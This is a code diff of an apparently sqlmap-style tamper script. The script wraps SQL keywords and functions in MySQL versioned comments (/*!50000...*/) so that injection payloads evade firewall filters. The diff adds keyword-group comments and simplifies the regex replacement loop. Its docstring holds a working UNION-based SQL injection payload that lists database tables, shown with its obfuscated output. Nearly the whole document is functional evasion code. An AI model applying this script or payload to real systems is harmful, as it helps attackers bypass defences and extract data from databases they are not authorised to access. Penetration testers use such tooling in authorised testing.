12
12
__priority__ = PRIORITY .NORMAL
13
13
14
14
def dependencies ():
15
+ """
16
+ This tamper script does not have any dependencies.
17
+ """
15
18
pass
16
19
17
20
def tamper (payload , ** kwargs ):
@@ -33,7 +36,9 @@ def tamper(payload, **kwargs):
33
36
>>> tamper("1 AND 1=1 UNION ALL SELECT 1,GROUP_CONCAT(table_name),3 FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=database()")
34
37
'1 AND 1=1 /*!50000UNION*/ /*!50000ALL*/ /*!50000SELECT*/ 1,/*!50000GROUP_CONCAT*/(/*!50000table_name*/),3 /*!50000FROM*/ /*!50000INFORMATION_SCHEMA.TABLES*/ /*!50000WHERE*/ /*!50000table_schema*/=/*!50000database()*/'
35
38
"""
39
+
36
40
keywords = {
41
+ # DML & DDL
37
42
"SELECT" : "/*!50000SELECT*/" ,
38
43
"UNION" : "/*!50000UNION*/" ,
39
44
"INSERT" : "/*!50000INSERT*/" ,
@@ -46,11 +51,15 @@ def tamper(payload, **kwargs):
46
51
"LIMIT" : "/*!50000LIMIT*/" ,
47
52
"ALL" : "/*!50000ALL*/" ,
48
53
"DISTINCT" : "/*!50000DISTINCT*/" ,
54
+
55
+ # Information Schema
49
56
"INFORMATION_SCHEMA.TABLES" : "/*!50000INFORMATION_SCHEMA.TABLES*/" ,
50
57
"INFORMATION_SCHEMA.COLUMNS" : "/*!50000INFORMATION_SCHEMA.COLUMNS*/" ,
51
58
"TABLE_NAME" : "/*!50000TABLE_NAME*/" ,
52
59
"COLUMN_NAME" : "/*!50000COLUMN_NAME*/" ,
53
60
"TABLE_SCHEMA" : "/*!50000TABLE_SCHEMA*/" ,
61
+
62
+ # Functions
54
63
"CONCAT" : "/*!50000CONCAT*/" ,
55
64
"CONCAT_WS" : "/*!50000CONCAT_WS*/" ,
56
65
"GROUP_CONCAT" : "/*!50000GROUP_CONCAT*/" ,
@@ -62,13 +71,17 @@ def tamper(payload, **kwargs):
62
71
"ORD" : "/*!50000ORD*/" ,
63
72
"BENCHMARK" : "/*!50000BENCHMARK*/" ,
64
73
"SLEEP" : "/*!50000SLEEP*/" ,
74
+
75
+ # System Information Functions
65
76
"DATABASE()" : "/*!50000DATABASE()*/" ,
66
77
"USER()" : "/*!50000USER()*/" ,
67
78
"SESSION_USER()" : "/*!50000SESSION_USER()*/" ,
68
79
"SYSTEM_USER()" : "/*!50000SYSTEM_USER()*/" ,
69
80
"VERSION()" : "/*!50000VERSION()*/" ,
70
81
"@@VERSION" : "/*!50000@@VERSION*/" ,
71
82
"@@HOSTNAME" : "/*!50000@@HOSTNAME*/" ,
83
+
84
+ # Other keywords
72
85
"SEPARATOR" : "/*!50000SEPARATOR*/" ,
73
86
"HAVING" : "/*!50000HAVING*/" ,
74
87
"INTO" : "/*!50000INTO*/" ,
@@ -80,13 +93,7 @@ def tamper(payload, **kwargs):
80
93
ret_val = payload
81
94
82
95
if payload :
83
- sorted_keywords = sorted (keywords .keys (), key = len , reverse = True )
84
-
85
- for keyword in sorted_keywords :
86
- if "()" in keyword :
87
- regex_keyword = re .escape (keyword )
88
- ret_val = re .sub (r"(?i)\b%s\b" % regex_keyword , keywords [keyword ], ret_val )
89
- else :
90
- ret_val = re .sub (r"(?i)\b%s\b" % re .escape (keyword ), keywords [keyword ], ret_val )
96
+ for keyword in keywords :
97
+ ret_val = re .sub (r"(?i)(?<!\w)%s(?!\w)" % re .escape (keyword ), keywords [keyword ], ret_val )
91
98
92
- return ret_val
99
+ return ret_val
0 commit comments